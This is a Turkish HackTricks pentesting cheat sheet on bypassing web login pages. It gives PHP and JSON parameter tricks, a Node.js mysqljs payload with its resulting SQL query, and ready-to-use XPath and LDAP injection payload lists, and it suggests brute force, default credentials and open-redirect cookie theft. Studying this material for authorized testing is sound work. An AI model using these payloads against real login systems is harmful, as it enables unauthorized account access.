96 lines
4.6 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Giriş Atlatma
{{#include ../../banners/hacktricks-training.md}}
## **Normal girişi atlatma**
Bir giriş sayfası bulursanız, bunu atlatmak için deneyebileceğiniz bazı teknikler burada:
- Sayfa içindeki **yorumları** kontrol edin (aşağı kaydırın ve sağa mı?)
- **Kısıtlı sayfalara doğrudan erişip erişemeyeceğinizi** kontrol edin
- **Parametreleri göndermemeye** dikkat edin (hiç göndermeyin veya sadece 1 tane gönderin)
- **PHP karşılaştırma hatasını** kontrol edin: `user[]=a&pwd=b` , `user=a&pwd[]=b` , `user[]=a&pwd[]=b`
- **İçerik türünü json olarak değiştirin** ve json değerleri gönderin (bool true dahil)
- POST'un desteklenmediğini belirten bir yanıt alırsanız, **JSON'u gövdeye GET isteği ile** `Content-Type: application/json` ile göndermeyi deneyebilirsiniz
- Nodejs potansiyel ayrıştırma hatasını kontrol edin (okuyun [**şunu**](https://flattsecurity.medium.com/finding-an-unseen-sql-injection-by-bypassing-escape-functions-in-mysqljs-mysql-90b27f6542b4)): `password[password]=1`
- Nodejs bu yükü aşağıdaki gibi bir sorguya dönüştürecektir: ` SELECT id, username, left(password, 8) AS snipped_password, email FROM accounts WHERE username='admin' AND`` `` `**`password=password=1`**`;` bu da şifre bitinin her zaman doğru olmasını sağlar.
- Eğer bir JSON nesnesi gönderebiliyorsanız, girişi atlatmak için `"password":{"password": 1}` gönderebilirsiniz.
- Bu girişi atlatmak için hala **geçerli bir kullanıcı adı bilmeniz ve göndermeniz gerektiğini** unutmayın.
- `mysql.createConnection` çağrısında **`"stringifyObjects":true`** seçeneğini eklemek, **`Object` parametre olarak geçirildiğinde tüm beklenmedik davranışları engelleyecektir.**
- Kimlik bilgilerini kontrol edin:
- Kullanılan teknoloji/platformun [**varsayılan kimlik bilgileri**](../../generic-hacking/brute-force.md#default-credentials)
- **Yaygın kombinasyonlar** (root, admin, password, teknolojinin adı, bu şifrelerden biriyle varsayılan kullanıcı).
- **Cewl** kullanarak bir sözlük oluşturun, **varsayılan** kullanıcı adı ve şifreyi (varsa) ekleyin ve tüm kelimeleri **kullanıcı adı ve şifre** olarak kullanarak brute-force yapmayı deneyin.
- Daha büyük bir **sözlük** kullanarak **brute-force** yapın (**[**Brute force**](../../generic-hacking/brute-force.md#http-post-form)**)
### SQL Enjeksiyonu ile kimlik doğrulama atlatma
[Giriş atlatmak için **SQL enjeksiyonları** ile ilgili birkaç hile bulabilirsiniz](../sql-injection/#authentication-bypass).
Aşağıdaki sayfada **SQL Enjeksiyonları** ile giriş atlatmak için bir **özel liste** bulabilirsiniz:
{{#ref}}
sql-login-bypass.md
{{#endref}}
### NoSQL Enjeksiyonu ile kimlik doğrulama atlatma
[Giriş atlatmak için **NoSQL Enjeksiyonları** ile ilgili birkaç hile bulabilirsiniz](../nosql-injection.md#basic-authentication-bypass)**.**
NoSQL Enjeksiyonları parametre değerlerini değiştirmeyi gerektirdiğinden, bunları manuel olarak test etmeniz gerekecek.
### XPath Enjeksiyonu ile kimlik doğrulama atlatma
[Giriş atlatmak için **XPath Enjeksiyonu** ile ilgili birkaç hile bulabilirsiniz](../xpath-injection.md#authentication-bypass)
```
' or '1'='1
' or ''='
' or 1]%00
' or /* or '
' or "a" or '
' or 1 or '
' or true() or '
'or string-length(name(.))<10 or'
'or contains(name,'adm') or'
'or contains(.,'adm') or'
'or position()=2 or'
admin' or '
admin' or '1'='2
```
### LDAP Enjeksiyonu ile kimlik doğrulama atlatma
[Burada **LDAP Enjeksiyonu** ile giriş atlatmak için birkaç hile bulabilirsiniz.](../ldap-injection.md#login-bypass)
```
*
*)(&
*)(|(&
pwd)
*)(|(*
*))%00
admin)(&)
pwd
admin)(!(&(|
pwd))
admin))(|(|
```
### Beni Hatırla
Eğer sayfada "**Beni Hatırla**" işlevi varsa, nasıl uygulandığını kontrol edin ve bunu **diğer hesapları ele geçirmek** için kötüye kullanıp kullanamayacağınıza bakın.
### Yönlendirmeler
Sayfalar genellikle giriş yaptıktan sonra kullanıcıları yönlendirir, bu yönlendirmeyi değiştirip [**Açık Yönlendirme**](../open-redirect.md) oluşturup oluşturamayacağınızı kontrol edin. Kullanıcıyı kendi web sitenize yönlendirirseniz bazı bilgileri (kodlar, çerezler...) çalabilirsiniz.
## Diğer Kontroller
- Giriş işlevini kötüye kullanarak **kullanıcı adlarını** **numaralandırıp** numaralandıramayacağınızı kontrol edin.
- Şifre/**hassas** bilgiler **formları** için **otomatik tamamlama** özelliğinin aktif olup olmadığını kontrol edin: `<input autocomplete="false">`
## Otomatik Araçlar
- [HTLogin](https://github.com/akinerkisa/HTLogin)
{{#include ../../banners/hacktricks-training.md}}